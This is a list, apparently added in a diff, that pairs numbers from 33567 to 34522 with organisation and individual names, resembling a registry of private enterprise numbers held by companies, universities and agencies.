+33567 Vira Realtime, Ltd.
+33568 Bakoma SA
+33569 ERG S.p.A.
+33570 RENATA WEB SYSTEMS
+33571 MRC Epidemiology Unit
+33572 Educational Service Unit 10
+33573 Corps Saxo-Montania
+33574 waxtie
+33575 Inovatic d.o.o.
+33576 AP Router Industria Eletronica Ltda.
+33577 CenIP
+33578 Jason B. Alonso
+33579 Fairfield County, Ohio
+33580 Anacom Eletrônica Ltda
+33581 OpenMind S.r.l.
+33582 Errigal, Inc.
+33583 BSoft
+33584 OnlLine Technologies
+33585 Intehel
+33586 Institute of Information science, Beijing Jiaotong University, China
+33587 PlayBox Technology Ltd.
+33588 Autek Ingenieria, SL
+33589 Ministarstvo unutrasnjih poslova Republike Srbije
+33590 Faltermeier
+33591 GIE Astria
+33592 Gryphon Technology Pty Ltd
+33593 Errigal Inc.
+33594 Daniel Hommel
+33595 San Francisco State University
+33596 Adventist Health System
+33597 Clasdix SRL
+33598 isi-muenchen ltd.
+33599 Dolf - Systems
+33600 OMNIconnect Pty Ltd
+33601 KIRYUNG
+33602 northstarlabs.net
+33603 Infotech enterprises
+33604 SARL LES CAGOTS
+33605 Soft & Control Technology s.r.o.
+33606 HI5 Networks, Inc
+33607 SeeChange Health
+33608 RipCode, Inc.
+33609 Softtek
+33610 fastip, llc
+33611 Transmicro
+33612 Com Hem AB
+33613 CRISPYLOGICS
+33614 DPD Polska Sp. z o.o.
+33615 Cross Country Automotive Services
+33616 Ohio Supercomputer Center
+33617 David Kraeutmann
+33618 Nito Programs
+33619 FreeComm Data Communication Co., Ltd.
+33620 CertusNet
+33621 Asmens dokumentu israsymo centras prie Lietuvos Respublikos vidaus reikalu ministerijos
+33622 4Dst International Telecommunications (Pty) Ltd
+33623 Pokrovskoe Ltd
+33624 Beijing VBON Science & Technology Development Co.,Ltd.
+33625 xallaraparadigm
+33626 Reouel
+33627 code-drohne.de
+33628 Egyption Government Certification Authority
+33629 t-Linux Ltd.
+33630 Iridea (M) Sdn Bhd
+33631 Poczta Polska
+33632 AGNEKO
+33633 Herman Andersson Oy
+33634 Reale Seguros Generales
+33635 Ruby Sync
+33636 TechnoSec
+33637 Walla Walla University
+33638 Voiceboard Corporation
+33639 Vestas Wind Systems A/S
+33640 TCPOS SA
+33641 Ajimi
+33642 Denmark - Fujitsu Services A/S
+33643 Comgroup GmbH
+33644 Sytel Limited
+33645 MKS Inc.
+33646 Extelia
+33647 Mashlab / Huther & Sommer GbR
+33648 Ireth
+33649 Pramana Inc
+33650 AdaCore SAS
+33651 Sparkplug Inc
+33652 Cousteau Network Development LLC
+33653 Opulan Technologies Corp.
+33654 Posidex Techonologies Pvt Ltd
+33655 OVOCENTRUM V+V s.r.o.
+33656 Wardsback Brotherhood
+33657 Harald Würger
+33658 V.D.S. - Video Display Systems Srl
+33659 Università di Bari
+33660 Lower Colorado River Authority
+33661 LineRate Systems, Inc.
+33662 AfroDuck Productions
+33663 Manz Automation AG
+33664 Conei Cia. Int. de Inversiones
+33665 Liveperson
+33666 STMIK Mikroskil
+33667 SADA Systems Inc. - Apps Division
+33668 ECtel LTD.
+33669 Kevin R. James Enterprise Services
+33670 Arctic Lake
+33671 HESTIA FRANCE
+33672 intecsoft GmbH
+33673 Lacerda Sistemas de Energia
+33674 NUVICO
+33675 Zydax, LLC
+33676 Happy Jack Software LLC.
+33677 HiWiFi Networks
+33678 Fähnle IT-Solutions
+33679 The University of Waikato
+33680 Bankart, d.o.o.
+33681 Deutsche Papier Vertriebs GmbH
+33682 Tyze.com
+33683 Agilink Systems Corp.
+33684 eCern Inc
+33685 Netgroup A/S
+33686 NetVitesse S.A.R.L
+33687 NETAVIS Software GmbH
+33688 Packet Power
+33689 mediQ
+33690 shenzhen etoptech co.,Ltd
+33691 MOSTCOM Ltd.
+33692 Meona GmbH
+33693 SMALS
+33694 Knexus Research Corporation
+33695 National Oilwell Varco
+33696 Trulix Systems
+33697 Klaus Becker Kopiersysteme -Service-GmbH
+33698 ACRA CONTROL LTD.
+33699 TAG Video Systems
+33700 Saginaw Valley State University
+33701 Cathay Pacific Airways Ltd.
+33702 Technalogix Ltd.
+33703 ziggurat29
+33704 Middle Office Solutions, LLC
+33705 Global 360 Inc
+33706 OPVISION Technology Co.,Ltd
+33707 United International College
+33708 SPIT elektromechanica BV
+33709 OnTimeLine
+33710 Tawasul Telecom
+33711 Campanja AB
+33712 CSC PYXUS-2006
+33713 WB Electronics S.A.
+33714 Neuralitic Systems Inc.
+33715 Axcient, Incorporated
+33716 Jiangsu Hengtong Photoelectric Stock Co., Ltd
+33717 Nirmitsu Technologies Private Limited
+33718 Lava-Tech
+33719 EBU / UER
+33720 ELTA Systems Ltd.
+33721 Thrane & Thrane
+33722 MC SECURITY Co., Ltd.
+33723 laurentum.de
+33724 EBDSoft
+33725 Bimeng Communications System Co.,Ltd
+33726 White Sands Technology
+33727 Caerian Inc
+33728 Adaptive AI, Inc.
+33729 Beijing Pannet Information Technology Co., Ltd.
+33730 Stefan aulbach
+33731 Asito B.V.
+33732 NetResults S.r.l.
+33733 sw-k software & system engineering
+33734 chini.info
+33735 Buzzlogic Inc.
+33736 fylleri.is
+33737 Soprano Design Pty Ltd
+33738 Animelliure
+33739 ANTRICE S.A
+33740 Interdatanet - DET
+33741 Yellowstone Soft
+33742 Net4Promotions
+33743 Zentrum für Soziale Innovation
+33744 Application Solutions (Safety and Security) Ltd.
+33745 College for Creative Studies
+33746 imagine that
+33747 OnlineOK
+33748 Wilcox Technologies
+33749 VoLGA Forum
+33750 Iritel A.D. Beograd
+33751 OBEJ di Galantini Andrea
+33752 Gen-Z Technologies inc.
+33753 Beijing CircLoop Digital Image Tech.Co.,Ltd
+33754 Duelco A/S, Denmark
+33755 www.capad.de
+33756 keimatsu.com
+33757 Oblong Industries, Inc.
+33758 Inquinox, LLC
+33759 Golden Micro Systems Corporation
+33760 Ministerstvo Finansov Chelyabinskoy oblasti
+33761 OptimSys, s.r.o.
+33762 Global Display Solutions SpA
+33763 AD Holdings plc
+33764 I-bridge B.V.
+33765 Sapienza Consulting Ltd
+33766 panagenda GmbH
+33767 Korean Broadcasting System (KBS)
+33768 Beijing ZhonghongLida Technology Development Co., Ltd.
+33769 Universidad de La Habana
+33770 Telcom Research
+33771 Academy Consult München e.V.
+33772 The Portalus Group
+33773 Weather Kat
+33774 Pyro Networks
+33775 Moscow Metering Company
+33776 Orca Interactive LTD
+33777 Cadmos microsystems S.r.l.
+33778 TIKLA tv
+33779 Stefan Seelmann
+33780 Grosvenor Technology Ltd.
+33781 FreeKey::Labs s.l.
+33782 Pictage, Inc.
+33783 Chinarainbow Technology CO.,LTD
+33784 AvFinity, L.L.C.
+33785 La Salle University
+33786 Iquall S.A.
+33787 KaHo Sint Lieven
+33788 juris GmbH
+33789 Medical IT
+33790 InFocus Corporation
+33791 XelNet
+33792 Noisebridge
+33793 inviCRO, LLC
+33794 Myungmin Systems, Inc.
+33795 SOLIT Information Security
+33796 ROMTELECOM S.A.
+33797 ESRI Portugal
+33798 Suefke Softwareentwicklung
+33799 LinkSat
+33800 CARFAX INC
+33801 Colorquick, LLC
+33802 Xensor Systems Incorporated
+33803 Manor AG
+33804 Chrisalys
+33805 Peak Drive Solutions Ltd
+33806 UTILISE IT LIMITED
+33807 Internexo Ltda.
+33808 Jim Montague Software LLC
+33809 Topomaro
+33810 Masterhost, CJSC
+33811 Idendego Inc.
+33812 Goodus, Inc.
+33813 Invenso
+33814 IProNet Sistemas, S.A.
+33815 Archean Technologies
+33816 PROFILAX, s.r.o.
+33817 CopyKnight Technologies Ltd
+33818 asco
+33819 StreetGeek
+33820 DECOIT GmbH
+33821 Proliphix, Inc.
+33822 Computer Task Group, Inc.
+33823 comspace GmbH & Co. KG
+33824 Spirent Communications of Rockville, Inc.
+33825 ECHO KEISOKUKI Co.,Ltd.
+33826 Lutong Network Technology Co., ltd
+33827 Dan Hirsch
+33828 NTT Plala Inc.
+33829 Novel Communication Co., LTD.
+33830 One97 Communication (P) Limited
+33831 noFilis AutoID GmbH
+33832 Biologische Heilmittel Heel GmbH
+33833 Nettare Srl
+33834 Salford
+33835 REGS DE CATALUNYA, S.A.
+33836 Alliaria, S.L.
+33837 GESTIÓ D'INFRAESTRUCTURES, S.A.
+33838 Voxline Contact Center
+33839 CONFESOL
+33840 LEDZGO
+33841 ArenaNet
+33842 SIBIO
+33843 ProIS d.o.o.
+33844 Blastwave.org, Inc.
+33845 Microlab Snc
+33846 DISA CSD MONTGOMERY
+33847 maXan Pty Ltd
+33848 Hot Solder Ltd
+33849 Universidad Autónoma de Colombia
+33850 Capgemini Spain SLU
+33851 Combilent A/S
+33852 Tractis
+33853 "STM" Co., Ltd
+33854 RP Compounds GmbH
+33855 ADVtools
+33856 Ansgar Jonietz
+33857 SECONS s.r.o.
+33858 Aveco s.r.o.
+33859 JRD
+33860 The Insitu Group
+33861 CONGUIDE
+33862 Large Binocular Telescope Observatory
+33863 Mantaro Networks, Inc.
+33864 Praktiker Services GmbH
+33865 Atukorala Holdings Ltd. (formerly 'Squad 17 Limited')
+33866 Lionic Corp.
+33867 Infrascape Technologies Limited
+33868 DOSIsoft
+33869 Kompas Xnet d.o.o.
+33870 EXXOSS S.P.R.L.
+33871 ZIBImed GmbH
+33872 Alpha Technologies, Inc. (formerly 'Cheetah Technologies L.P.')
+33873 ARC Créations
+33874 Novita
+33875 National Bank of Ukraine
+33876 Van Hameren ICT diensten
+33877 Publications Office
+33878 Children's Miracle Network
+33879 Global IT Bilisim Hizmetleri Ltd.
+33880 Isca Networks Corporation Ltd
+33881 ETM Electromatic Inc.
+33882 Four Color Studio
+33883 The Bank of Lithuania
+33884 NSG
+33885 Abhineet Singh Chauhan
+33886 UNICEF
+33887 Integrasul Solucoes em Informatica Ltda.
+33888 Aqua Cooler Pty Ltd
+33889 Do-Style,INC.
+33890 KUB Ltd.
+33891 goettert.net Internet Service
+33892 Be IP s.a.
+33893 Specialized Information Systems Ltd.
+33894 Aulofée
+33895 The Joint Commission
+33896 DDO Organisation sarl
+33897 GSA
+33898 Synovel Software Technologies Pvt. Ltd.
+33899 rahmn.com, llc
+33900 Next Level Security Systems, Inc.
+33901 ezwww.ch
+33902 Tiju Paul
+33903 nenunic
+33904 Sergei Butakov
+33905 iVoltaire.org
+33906 WANTS Inc.
+33907 SECURITAS DIRECT ESPAÑA S.A.U.
+33908 Seowonintech Co., Ltd
+33909 Open Joint Stock Company Belvnesheconombank
+33910 BSN Medical GmbH
+33911 Cerillion Technologies Limited
+33912 FULLSEE Electronics Co., Ltd. Beijing
+33913 ClusterDB.com
+33914 Monmouth Telecom
+33915 Middle East Number Thirteen -Financial Services
+33916 Freeman Decorating Services, Inc.
+33917 Intact Financial Corporation
+33918 Top Producer Systems
+33919 ImmediaTV Corporation (formerly 'Magenta Video Networks')
+33920 DLT Limited (formerly 'Remote Management Systems Limited')
+33921 Molowa
+33922 Byzoro Networks Ltd.
+33923 Axione
+33924 Ebor Computing Pty Ltd
+33925 Progetto 3000 srl
+33926 buzzword.org.uk
+33927 Cambridge Leaning Center
+33928 Ibuildings
+33929 Universitat Jaume I
+33930 Contineo Systems
+33931 IK-TECH
+33932 MEDIACAST CO., LTD.
+33933 QOX,Inc
+33934 XenData Limited
+33935 RedFox Communications Ltd
+33936 Sentilla Corporation
+33937 LinuxBox.cz
+33938 Ordina
+33939 Bolt Court Consulting
+33940 Wuhan Hongxin Telecommunication Technologies Co.,Ltd
+33941 Business Logic Systems
+33942 NakedApe
+33943 Faculty of Electrical Engineering Banja Luka
+33944 Compower Systems Inc.
+33945 OHO Interactive
+33946 Vencomm
+33947 MAGICONLINE
+33948 Azienda USL Ferrara
+33949 Geotech Ltda
+33950 Zilogic Systems Pvt. Ltd.
+33951 taunusstein.net
+33952 ZimZahm Productions
+33953 DLT Limited
+33954 International School of Beijing
+33955 Better Place
+33956 Oversun
+33957 NCHOVY Inc.
+33958 Skytap
+33959 The Egyptian Company for Networks and Computer Security Services
+33960 Nordnet AB
+33961 enCentro Systems Inc
+33962 icuetv
+33963 OCCN Ltd.
+33964 ParaVolve Development Corporation
+33965 R-DATA Sp. z o.o.
+33966 FUNAI ELECTRIC CO., LTD.
+33967 The Now Factory
+33968 Puleo Electronics Inc.
+33969 Canfield Research Group
+33970 TradeHelm, Inc.
+33971 VanceInfo Technologies Inc.
+33972 RFPA
+33973 Net Entertainment NE AB
+33974 Agency.com
+33975 GnomishThoughts
+33976 HackThisSite
+33977 BLIP
+33978 YAGI ANTENNA INC.
+33979 Hong Kong Trade Development Council
+33980 DDB Link
+33981 Tek-Ops.com
+33982 New Internet Technologies Sp. z o. o.
+33983 Total Tel International Pty Ltd
+33984 Spark::red LLC
+33985 MigraTech
+33986 Universidade Federal de Pernambuco
+33987 Lakstins Family, LLC
+33988 Comm.SEC di Valter Foresto
+33989 Hyette S.A.
+33990 Cassandra Research Center
+33991 Beaumaris Networks
+33992 Louisiana Community and Technical College System
+33993 Coalinga State Hospital
+33994 Nei til EU
+33995 Pixip.net Gmbh
+33996 Diateam
+33997 OneMedNet Corporation
+33998 Agily Networks Inc.
+33999 Xiangmin Technology Co.,Ltd
+34000 BYNE (formerly 'SIMB Tecnologia')
+34001 ingrifo
+34002 WriteX ltd
+34003 AdRiver
+34004 PETROFAC INT LTD
+34005 Community Technology
+34006 Number Kuus Konsultatsioonid OÜ
+34007 SKYSOFT ATM
+34008 Tech Mahindra
+34009 YGOMI Europe Ltd.
+34010 Paraflux, Inc.
+34011 Donet, Inc.
+34012 Internet Doorway, Inc.
+34013 CBTS
+34014 B1 Systems GmbH
+34015 Pinghu Feihong Technology Co.,LTD
+34016 management of procurement for state needs of Krasnodar Region
+34017 telecommunication software gmbh
+34018 MAC GUFF LIGNE
+34019 Fortenova Grupa d.d.
+34020 OpenHTTPD
+34021 Hosteam
+34022 ITG SOLUTIONS S.A.C.
+34023 zumbi
+34024 Department of Homeland Security
+34025 Accelerated Data LLC
+34026 Alphalink
+34027 Qumu, Inc.
+34028 Idaho Power Company
+34029 TLSPU (formerly 'HaqaSoft')
+34030 metatux.net
+34031 ViewStor Pty Ltd
+34032 Amateur Radio Club (ARC) ITB
+34033 Unix Linux Authority Kft
+34034 Active Web Solutions Ltd
+34035 IPsoTV
+34036 Benchmark Group
+34037 European Nazarene College
+34038 USGN
+34039 Conversant Solutions Pte Ltd
+34040 OrgLDAP Project
+34041 unattended-gui
+34042 T-Mobile Hrvatska d.o.o.
+34043 Suffolk University ITS
+34044 Adesta LLC
+34045 Vex
+34046 Midwatch Systems Inc.
+34047 THENEWPASTAWAVE.COM
+34048 Novell Consulting Ukraine Ltd
+34049 Spirtech
+34050 Cloudhopper, Inc.
+34051 Universidade Estadual de Ponta Grossa
+34052 Mount Desert Island Biological Laboratory
+34053 Associação Hospitalar Santa Rosália
+34054 Australian Nursing Federation
+34055 Vietnam National University, Hanoi
+34056 Tranquil Hosting
+34057 Beehive Security
+34058 Babicom
+34059 NII "Vektor"
+34060 Nexgen Technologies
+34061 COS-CRPF
+34062 Mosart Medialab AS
+34063 Hyves / StartPhone Ltd
+34064 Böcherer Angewandte Informatik
+34065 Ricoh Europe PLC
+34066 Interpublic Group of Companies, Inc.
+34067 OWVAT
+34068 GAI-Tronics Corporation
+34069 Information Security Services Association
+34070 TeachMKs
+34071 Hearst Communications Inc.
+34072 NBEE Embedded Systems S.L.
+34073 ISS
+34074 IDP Co.,Ltd.
+34075 Deltatec - Tecnologia de Sistemas Lda
+34076 Datakom Ltd
+34077 BRVZ Bau- Rechen und Verwaltungszentrum GmbH
+34078 Informtekhnika & Communication, LLC
+34079 Axios Systems
+34080 rtCamp Solutions Pvt. Ltd.
+34081 INSYS Microelectronics GmbH
+34082 CitySync Limited
+34083 Erayd LTD
+34084 Universidade Federal de Juiz de Fora
+34085 AWeber Communications, Inc.
+34086 Talari Networks
+34087 Ultra Electronics, Nuclear Sensors & Process Instrumentation
+34088 Visioneer Inc
+34089 Newport Electronics, Inc.
+34090 TFB Technology Ltd.
+34091 Benchlabs Limited
+34092 MyMail PLC
+34093 UAB Profimus
+34094 Fanamoj (JSC)
+34095 Gymnazium Jaroslava Seiferta
+34096 Trilogical
+34097 Racktivity
+34098 farbwahl GbR
+34099 Palestine Polytechnic University
+34100 Tompkins Cortland Community College
+34101 Aimetis Corp
+34102 Perversia Networking
+34103 BV-Tech S.p.A. (formerly 'Bluestone S.r.l.')
+34104 Ceton Corp
+34105 Local Website Consulting
+34106 TESCOMA s.r.o.
+34107 SELEX ES LTD (formerly 'SELEX GALILEO')
+34108 IAM Solutions GmbH & Co. KG
+34109 G&G Fitness Equipment Inc.
+34110 Code Blue Corporation
+34111 Confamiliares de Caldas
+34112 NetServe365
+34113 CertifiCall
+34114 Mitchell International
+34115 NIW Solutions
+34116 EhangCommucation & Technology Ltd.
+34117 Information System Products Co.,Ltd.
+34118 HL komm Telekommunikations GmbH
+34119 Max Planck Institute for Human Cognitive and Brain Sciences
+34120 Laketec Communications Inc.
+34121 Alias
+34122 Retrix Hosting, Inc.
+34123 Akitogo Internet and Media Applications GmbH
+34124 Digital Measures
+34125 Beyond Semiconductor d.o.o.
+34126 Infocon S. A.
+34127 Allgemeiner Deutscher Fahrrad-Club Landesverband Nordrhein-Westfalen e.V.
+34128 Fabri
+34129 TUBITAK BILGEM BTE
+34130 ALCEA
+34131 United In Song
+34132 First Cash, Inc
+34133 Safety Vision, L.P.
+34134 OpenTTD
+34135 Forever Home Improvement
+34136 VeNMSOL Technologies
+34137 Athens Wireless Metropolitan Network (AWMN)
+34138 CER FRANCE POITOU-CHARENTES
+34139 Vasista Systems Inc
+34140 MAISONNEUVE Informatique
+34141 EXPRESS
+34142 Bank of Thailand
+34143 Netrounds Solutions AB (formerly 'Absilion AB')
+34144 Böhler Edelstahl GmbH & CoKG
+34145 Károly Róbert College, Gyöngyös, Hungary
+34146 Telogic Ltd.
+34147 MANGO
+34148 PRESENSE Technologies GmbH
+34149 IMATRIX Corp.
+34150 Syndicat IT & Internet
+34151 Peppe-Certification
+34152 esd electronic system design gmbh
+34153 Päivölän Kansanopisto
+34154 Texprezzo Group BV
+34155 Tendril Networks
+34156 Orel Analytics
+34157 Instituto Nacional de Matemática Pura e Aplicada
+34158 Gouvernement de la Polynésie Française
+34159 Pelican Engineering, Inc.
+34160 Certichron Inc
+34161 CUSI(China unicom system integration limited corporation)
+34162 Symplified Inc.
+34163 ITMemphis
+34164 Fubra Limited
+34165 Convergence CT, Inc.
+34166 Stellar Switches, Inc.
+34167 Power Admin LLC
+34168 Richer link co.ltd
+34169 Northsun.net
+34170 TTK S.A.S.
+34171 Wingpath Ltd.
+34172 Fixme Internet-käyttäjät ry
+34173 PD Software s.r.o.
+34174 FastOnlinePM
+34175 Advanced Navigation & Positioning Corporation
+34176 Hedgehog Oy Ltd
+34177 Bond Technical Management
+34178 Paragon Electronic Design Limited
+34179 Inland Revenue Department of Sri Lanka
+34180 Photop Technologies, Inc.
+34181 DARSHAN DUDHORIA
+34182 Area SX
+34183 Michael Karakashian (formerly 'Global Data Logistix (Pty) Ltd')
+34184 Universität Hohenheim
+34185 EBANK ONLINE (BEIJING) TECHNOLOGY Co., LTD
+34186 TEAMCAST
+34187 WAGNER Group GmbH
+34188 Klocktornet AB
+34189 Max Planck Institute for the science of light
+34190 SSCANRFK54425
+34191 Human Factors International
+34192 Sikjur
+34193 McKinney Identity Management Solutions, LLC
+34194 Jerusalem College of Technology
+34195 ZID, Vienna University of Technology
+34196 Catchy.net BV
+34197 EXANE
+34198 Pragmatic Source SARL
+34199 West Virginia University
+34200 Planet-Work
+34201 Neuberger Berman
+34202 Thing in the Corner Enterprises, LLC
+34203 TrustAlert
+34204 Netweb Technologies
+34205 Altrusoft AB
+34206 Penguin Solutions
+34207 tmira solutions
+34208 Telefin S.p.A.
+34209 Vamed Management und Service GmbH & CO KG
+34210 Evangelische Kirche von Kurhessen-Waldeck
+34211 Hanil Display
+34212 Function International
+34213 ooVoo, LLC
+34214 ACEnet
+34215 Acksen Ltd
+34216 Izmir University Of Economics
+34217 SKY Network Television Ltd
+34218 DEW Industrial Electronics (Pty) Ltd, t/a SOS Industrial Electronics
+34219 wer-kennt-wen.de
+34220 CreAim B.V.
+34221 TELEFRANG AB
+34222 SOLTENLAR, S. L.
+34223 chaos Studio
+34224 OpenSpirit S.A.
+34225 S30LABS IT ADVANCED SYSTEMS
+34226 EION Inc
+34227 Software Machine S.r.l.
+34228 Radialpoint SafeCare General Partnership
+34229 Codewalker Solutions
+34230 GCI Science & Technology Co. ,Ltd.
+34231 Open Cobalt Project
+34232 Lucian-Alexandru Stanescu
+34233 Kruger
+34234 Land Srl
+34235 Cork IT
+34236 Pixie
+34237 AssureTec Systems, Inc.
+34238 NewsWatch, Inc.
+34239 Innovating Distributed Systems S.L.
+34240 DARS d.d.
+34241 Competella AB
+34242 PerspecSys Inc.
+34243 Rob Sims
+34244 Media Capital - Editora Multimedia S.A.
+34245 Circle Software Group B.V.
+34246 Hacktor
+34247 Stationtostation
+34248 Cykor Systems Ltd
+34249 Triada d.o.o.
+34250 Arkadin
+34251 FREESTONE INTERNATIONAL GROUP LIMITED
+34252 XPS ELETRÔNICA LTDA
+34253 VIAFIRMA, S.L.
+34254 Savannah Networks LLC
+34255 Corner Bowl Software Corporation
+34256 HUMICOM co,. ltd
+34257 Defense Systems Group, NTT DATA Corporation
+34258 Otip Office
+34259 The State Higher School of Vocational Education in Elblag
+34260 Apttsoft
+34261 MeVis Medical Solutions AG
+34262 Joinville Eau Vive
+34263 picoChip Designs Ltd
+34264 I.C.E. Logic Ltd.
+34265 OMNITECH SECURITY
+34266 Unochapeco
+34267 Swedbank AB
+34268 Martin Luther College
+34269 SLA Corporation
+34270 Bamag GmbH
+34271 Geomidi Informatica Ltda.
+34272 JSC NCC
+34273 TMNS B.V.
+34274 Sipwise GmbH
+34275 Boyne Resorts
+34276 Signaturgruppen A/S
+34277 Jens Meißner
+34278 Janitza electronics GmbH
+34279 JoutCon Oy
+34280 Metva
+34281 Taiwan Dichen Co, Ltd.
+34282 MEON-yamaguchi
+34283 CA-Jinchen Software Co.,Ltd
+34284 Elisa Oyj
+34285 S.C. DigiSign S.A.
+34286 Feusi Bildungszentrum AG
+34287 Raiffeisen Bank Kosovo JSC
+34288 Centralna banka Crne Gore
+34289 IRE Rayos X S.A.
+34290 RS2i
+34291 xrow GmbH
+34292 Spring Street Storage
+34293 Coyote Creek
+34294 C-Cron GmbH
+34295 Dalian Gigatec Electronics Co.,Ltd
+34296 Dalian Maritime University
+34297 Mobistar sa/nv
+34298 ConteXtream
+34299 Datavalet Technologies Inc.
+34300 Croix Rouge Francaise
+34301 NEON, Inc.
+34302 NetIntegrate Solutions Inc
+34303 Skyline Network Engineering
+34304 Feynman Group, Inc.
+34305 Developing Solutions, Inc.
+34306 Canodus (formerly 'Decre')
+34307 Deckland
+34308 Ford & Mason Ltd
+34309 Archimedes Solutions GmbH
+34310 UBINETSYS.CO., LTD.
+34311 Data Net Solutions Group, Inc.
+34312 Accanto Systems S.r.l.
+34313 iDMS - UMANN
+34314 Datanomic Ltd.
+34315 Broadband United GmbH
+34316 PDSG
+34317 Fabric Technologies
+34318 iEARN-USA
+34319 Inveneo Inc.
+34320 Octo Wireless LLC
+34321 ICP DAS Co., Ltd
+34322 Hoojima Ltd
+34323 Zolfo Cooper
+34324 Ministry for Information Society of Montenegro
+34325 Investec
+34326 Nokia
+34327 Farmacia Valentini
+34328 Tmcpcorp
+34329 DOCOMO interTouch
+34330 Webyog Softworks Pvt Ltd
+34331 Vilant Systems Oy
+34332 Forex Club International Ltd
+34333 Streamit BV
+34334 Psylock GmbH
+34335 Javahar Private Limited
+34336 Shenzhen Meikai Electronics Co., Ltd.
+34337 Batracomiomachia
+34338 Bredbandstelefoni i Sverige AB
+34339 Asesoría CTDATA
+34340 hoip.org
+34341 Globalinx
+34342 Prime Creation Technology Limited
+34343 Saint-Petersburg Industrial Joint-Stock Bank
+34344 PNI Digital Media Inc.
+34345 Bloodhound Technologies Inc
+34346 Astral Media Radio inc.
+34347 ATX Innovation, Inc.
+34348 AKC Solutions
+34349 miraclesoft beijing co.ltd
+34350 Bingley Grammar School
+34351 iseemedia Inc.
+34352 Kamailio.ORG
+34353 ClairMail
+34354 CGS, LLC
+34355 sol4.net
+34356 Inepex Ltd.
+34357 Plaid Tie Software
+34358 Servicios técnico comerciales en Internet S.C.P
+34359 Nucleus Connect Pte Ltd
+34360 Silmor.de Projects
+34361 Matrixware Information Services GmbH
+34362 FH Aachen
+34363 Illallangi Enterprises
+34364 geinitz.info
+34365 Beijing Eastcat Information Technology Company
+34366 Erwin Peters Systemtechnik GmbH
+34367 Fire Check Consultants Pty Ltd
+34368 General Dynamics Mission Systems–Australia
+34369 NanoSoft AG
+34370 Papier- und Kartonfabrik Varel GmbH & Co KG
+34371 A1 Systems, LLC
+34372 Tubedale Limited
+34373 ESCAUX
+34374 Paki Shells Internet Services
+34375 Mevio
+34376 Automática y Regulación S.A.
+34377 Locaweb Ltda
+34378 q1cc.net
+34379 Cheers Co.,Ltd
+34380 Puppet Labs, Inc. (formerly 'Reductive Labs, Inc.')
+34381 Inixa - Security & Communication
+34382 Bigdogs Bros & Co.
+34383 INEX/ZAMIR
+34384 Sipoon kunta
+34385 Hinge Software Co.,Ltd.
+34386 Intelligent Mechatronic Systems Inc.
+34387 Component Engineering, Inc
+34388 O'Reilly Automotive, Inc.
+34389 Geofront
+34390 BlackGinger
+34391 Owens Corning
+34392 3 Rivers Communications
+34393 blau Mobilfunk GmbH
+34394 Whiplashcentret
+34395 OMESH Networks
+34396 Metropolitan Government of Nashville & Davidson County
+34397 Cloud Scope Technologies, Inc.
+34398 LANCARD.COM inc,
+34399 coravy. Ltd.
+34400 Research electronics AB
+34401 Studio Moderna d.o.o.
+34402 Siskiyou County
+34403 unseregedanken.de
+34404 skyenet
+34405 City of Cape Town
+34406 Generals Network, OZ
+34407 nexus AG
+34408 WANET s.r.o.
+34409 Bebidas Gaseosas del Noroeste S.A.
+34410 Foss-on-line
+34411 Playtech Estonia OÜ
+34412 Mutina Technology S.r.l.
+34413 Global Substation Solutions Inc.
+34414 Beijing Galaxy Golden Star Technology & Development Ltd.
+34415 Superna Analytics Inc.
+34416 Ottawa Area Intermediate School District
+34417 eGestalt Technologies Pvt. Ltd.
+34418 Santa Clara University
+34419 Regis University
+34420 Hochschule RheinMain - University of Applied Sciences
+34421 Benoit Eletrodomesticos LTDA
+34422 Kingley Health
+34423 Jamtlands County Council - Sweden
+34424 Lansen Technology
+34425 Archant Limited
+34426 Wind Telecomunicazioni S.p.a
+34427 Czeh Consultants
+34428 UAB Lema
+34429 Less Rain GmbH
+34430 www.fiber-space.de
+34431 ForceFive AG
+34432 Lescom AG
+34433 UniControls a.s.
+34434 HongTEC (BeiJing) Co., Ltd
+34435 North Loop Networks
+34436 TS-Associates plc
+34437 Consequor Consulting AG
+34438 DOHMEN, HERZOG & Partner GmbH
+34439 West Virginia State University
+34440 Velocix Limited
+34441 NTT Basic Research Laboratories
+34442 e-utile S.p.A.
+34443 Narinet Inc.
+34444 STS Studi Tecnologie Sistemi S.r.l.
+34445 Capgemini Nederland B.V. ( Netherlands )
+34446 Hasenohr Consulting
+34447 Beijing Huoohuoo Technology Co., Ltd
+34448 G-Bits Network Technology Co., Ltd.
+34449 Laguna Ventures, Inc.
+34450 JCNetwork e.V.
+34451 OS3 srl
+34452 EDV-Service Oliver Strucken
+34453 OPT Tahiti
+34454 VIS Visual Information Systems Limited
+34455 Primex Family of Companies
+34456 Dashwire, Inc.
+34457 Rex Wheeler
+34458 K.S.Transplaneta Ltd
+34459 Network Box Corporation Ltd
+34460 xplo.re IT Services
+34461 Ithaxis
+34462 init AG
+34463 Corey Farrell
+34464 Pragma Securities
+34465 CyPace, Inc.
+34466 polyformal System- & Formarbeit
+34467 REPOTEC CO., LTD.
+34468 Open Source Solution Technology Corporation
+34469 LOGIT CORPORATION
+34470 Institute of Cybernetics at Tallinn University of Technology
+34471 Trust-iD BV
+34472 Hogeschool van Amsterdam
+34473 DOKOM Gesellschaft für Telekommunikation mbH
+34474 ALT-LAN
+34475 Polytronics Engineering Ltd.
+34476 BIA-Net GmbH
+34477 K & V spol. s r.o.
+34478 CMS Hasche Sigle
+34479 DWEB SOLUÇÕES PARA INTERNET
+34480 iModules
+34481 World Fuel Services
+34482 Lambdazero IT
+34483 Himalaya networks
+34484 Toolio Systems
+34485 R2Meton AB
+34486 Hanno.dk
+34487 Kemi Shipping Oy
+34488 Kryptiq Corporation
+34489 Nikon AG
+34490 Teliwave Pte Ltd
+34491 Almaz-Antey Telecom
+34492 Aryaka Networks
+34493 CCMIB CCB
+34494 HSQ Technology
+34495 Streetcar Ltd
+34496 Cision US Inc.
+34497 LinSec Consulting
+34498 IRBIS-T
+34499 Martin Merkel
+34500 LAOLA1 Multimedia GmbH
+34501 S. C. Null Team Impex SRL.
+34502 Millikin University
+34503 WMI Computer
+34504 GuangZhou Comble Information Technology Co.,Ltd.
+34505 SIEGNETZ-IT GmbH
+34506 Twinfalls Technologies
+34507 Safe Consulting AS
+34508 Wyatt Tarrant & Combs LLP
+34509 Portland State University
+34510 Optimum Path Systems, Inc
+34511 Trinity County Office of Education
+34512 graphische Informationstechnik Beratungsgesellschaft mbH (grit)
+34513 RMT INC
+34514 Australian College of Remote and Rural Medicine
+34515 Whitemice Consulting
+34516 Network Applied Communication Laboratory
+34517 Eastcom Systems Pte Ltd
+34518 Movianto GmbH
+34519 UK Border Agency
+34520 Mudra Communications Pvt. Ltd.
+34521 Comlink Telecommunication Services Inc
+34522 Pinnacle Wireless
